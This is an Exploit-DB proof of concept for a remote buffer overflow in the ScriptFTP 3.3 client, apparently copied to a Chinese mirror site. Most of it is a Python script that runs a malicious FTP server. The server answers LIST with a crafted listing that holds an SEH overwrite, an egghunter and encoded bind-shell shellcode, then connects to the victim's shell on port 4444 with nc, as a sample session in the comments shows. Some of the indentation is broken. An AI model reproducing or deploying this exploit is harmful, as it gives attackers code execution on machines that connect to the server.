ScriptFTP 3.3 – Remote Buffer Overflow (LIST) (1) - 体验盒子

作者： modpr0be
日期： 2011-09-20
类别：
remote
平台：
windows
来源：https://www.exploit-db.com/exploits/17876/
# Exploit Title: ScriptFTP <=3.3 Remote Buffer Overflow (LIST)
# Date: September 20, 2011
# Author: modpr0be
# Software Link: http://www.scriptftp.com/ScriptFTP_3_3_setup.exe
# Version: 3.3
# Tested on: Windows XP SP3, Windows Server 2003 SP1 (SE) (VMware 3.1.4 build-385536)
# CVE : -
#
# Thanks: offsec, exploit-db, corelanc0d3r, 5M7X, loneferret, mr_me, _sinner
# 
# You should create your own script to work with ScriptFTP
# for example; enable passive and get the remote directory 
# on your evil ftp server.
#
# my example script:
# OPENHOST("8.8.8.8","ftp","ftp")
# SETPASSIVE(ENABLED)
# GETLIST($list,REMOTE_FILES)
# CLOSEHOST
# save it to a file with .ftp extension (eg: exploit.ftp)

# root@bt :/# python scriptftp-bof-poc.py
# [*] ScriptFTP 3.3 Remote Buffer Overflow POC
# [*] by modpr0be[at]digital-echidna[dot]org.
# [*] thanks a lot to cyb3r.anbu | otoy :)
# =============================================
# [*] Evil FTP Server Ready
# [*] Server initiated.
# [*] Awaiting connection...
# [*] Connection created by 172.16.87.129.
# [*] Establishing session.
# [*] Pwning in progress..
# [*] This may take up 50 seconds or less.
# [!] Hunter is hunting the Egg ;)
# [!] Waiting for a shell..
# [!] 0wn3d..!
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\ScriptFTP>
#
# Yes, this poc is using PASSIVE connection and it will
# take some time to establish. I love the way we wait for a shell ;)

#!/usr/bin/python

import socket
import os
import sys
import time

class ftp_server:
def __init__(self):
self.host = '0.0.0.0'
self.passive_port = 7214
self.log("""
[*] ScriptFTP <=3.3 Remote Buffer Overflow POC
[*] by modpr0be[at]digital-echidna[dot]org
[*] thanks a lot to cyb3r.anbu | otoy :)
=============================================
[*] Evil FTP Server Ready""")

self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind(('', 21))
self.sock.listen(1)

a = self.passive_port/256
b = self.passive_port%256
self.tuple_port = (a, b)
self.host_join = ','.join(self.host.split('.'))
self.passive = False

self.log("[*] Server initiated.")

def log(self, msg):
print msg

def get(self):
return self.conn.recv(1024).replace('\r', '').replace('\n', '')

def getcwd(self):
return os.getcwd().split(chr(92))[-1]

def put(self, ftr):
x = {

150:" Data connection accepted from %s:%s; transfer starting.\r\n226 Listing completed."%(self.host, self.passive_port),
200:" Type okay.",
220:" %s Server is ready."%self.host,
226:" Listing completed.",
227:" Entering Passive Mode (%s,%s,%s)"%(self.host_join, self.tuple_port[0], self.tuple_port[1]),
230:" User logged in, proceed.",
250:' "/%s" is new cwd.'%self.getcwd(), 
257:' "/%s" is cwd.'%self.getcwd(),
331:" User name okay, need password.",
502:" Command not implemented.",
551:" Requested action aborted. Page type unknown."

 }[ftr]

s = '%s%s\r\n'%(ftr, x)
self.conn.send(s)
return s

def main(self):
self.log("[*] Awaiting connection...")
self.conn, addr = self.sock.accept ()
self.log("[*] Connection created by %s.\n[*] Establishing session."%addr[0])
	self.put(220)
self.log("[*] Pwning in progress..")
	self.log("[*] This may take up 50 seconds or less.")

while 1:
try: 
data = self.get().upper()
except socket.error:
self.conn.close()
self.sock.shutdown(socket.SHUT_RDWR)
raise socket.error
	
if data[:4] == 'USER': s = 331
elif data[:4] == 'PASS': s = 230
elif data[:3] == 'PWD':s = 257
elif data[:4] == 'TYPE': s = 200
elif data[:4] == 'PASV':
# create passive port
self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock2.bind(('', self.passive_port ))
self.sock2.listen(1)
s = self.put(227)
self.conn2, addr = self.sock2.accept()
self.passive = True
s = 0 # don't routine

elif data[:3] == 'CWD':
try:
os.chdir('..%s'%data.split(' ')[-1])
s = 250
except OSError:
s = 551
		
elif data[:4] == 'LIST':
s = self.put(150)
s = self.passive_do(1)
s = 0 # don't routine
		print "[!] Hunter is hunting the Egg ;)"
		time.sleep(50)
		print "[!] Waiting for a shell.."
		time.sleep(2)
		print "[!] 0wn3d..!\n"
		os.system("nc %s 4444"%addr[0])
		sys.exit()
else:
		s = 502

if s:
s = self.put(s)

def passive_do(self, id):
if id == 1:
	#bind to port 4444
	bind = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQ"
"APA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLI"
"XTIKPKPKPC0DIZENQXRS4DK0RNPTKPRLLTKR2LTTKBRO"
"8LOVWPJMVNQKONQGPFLOL1Q3LLBNLMPY18OLMM1I7K2J"
"P0RR74KPRN0DKOROLKQZ0DKOPRX4EY0RTPJKQXP0PTK1"
"8N8DKQHMPKQHSJCOLOYTKODDKM1HVNQKONQY0VLWQHOL"
"MKQWWP8IPCEL4LCSML8OK3MMTRUK2R84KQHMTM1YCQV4"
"KLLPKTKPXMLKQZ3TKM4TKKQ8P4IQ4O4MTQKQK1QPYPZ2"
"1KOK0PXQO1J4KN2ZKU61MQXNSP2KPKPS82W2SP21OQD3"
"80LSGNFLGKOZ56X4PM1KPKPO9XDPTPPQXNI3P2KM0KOX"
"U0PPPPP0POP0POPPPQXJJLOIOYPKOJ5SYGWNQIKPSBHM"
"2KPN1QLU9YVRJLPQFQGC8GRIK07QWKO8U0SR7C87GZIP"
"8KOKOJ50SR3PWRHCDZLOKYQKO8UPW5997QX2URN0MQQK"
"OYEQX33BMQTKPSYJCPWPWR701JV2JMBR926IRKMQVGWO"
"TMTOLKQKQTMPDNDLP7VKPQ40TB0PVPVPVOV26PNQFR6P"
"SR6C8SIXLOOTFKOXUCY9P0N0VPFKONPS8KXSWMMQPKO9"
"E7KL0X5W2QFQXVFTUWMEMKOHUOLKV3LKZU0KKYP2ULEW"
"KQ7MCT2BO2JKPQCKOZ5A")
	
	# 32bit egghunter from corelanc0d3r, thx ;)
	egghunter = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
			 "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
			 "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
			 "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
			 "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
			 "SEYWKOYWA")
				 
	junk = "A" * 1746		#junk
	nseh = "\x61\x62"		#nseh
seh = "\x45\x5B" 		#seh ppr somewhere on scriptftp dir 

	#prepare for align
align = "\x60"			#pushad
	align += "\x73"			#nop/align
	align += "\x53"			#push ebx
	align += "\x73"			#nop/align
align += "\x58"			#pop eax
	align += "\x73"			#nop/align
	align += "\x05\x02\x11" 	#add eax,0x11000200
	align += "\x73" 	#nop/align
align += "\x2d\x01\x11" 	#sub eax,0x11000120
	align += "\x73" 	#nop/align
	
	#walking
 	walk = "\x50"			#push eax
	walk += "\x73"			#nop/align
	walk += "\xc3"			#ret

	#align again
	align2 = "0t0t" + "\x73\x57\x73\x58\x73"		#nop/push edi/nop/pop eax/nop
	align2 += "\xb9\x1b\xaa"			#mov ecx,0xaa001b00
	align2 += "\xe8\x73"			#add al,ch + nop
	align2 += "\x50\x73\xc3"			#push eax,nop,ret

	sampah1 = "\x44" * 106 + "\x73"		#eax+106/align nop
	sampah2 = "\x42" * 544			#right after shellcode
	
	crash = junk+nseh+seh+align+walk+sampah1+egghunter+sampah2+align2+bind+sampah1

res = """-rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 """+crash+""".txt\r\ndrwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 A\r\nrwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 """+ crash +".txt\r\n"

self.conn2.send(res)
# self.conn2.send('\r\n') # send blank
	return res

try:
	ftp_server().main()
except socket.error:
print "[!] Socket is not ready, shutting down...\n"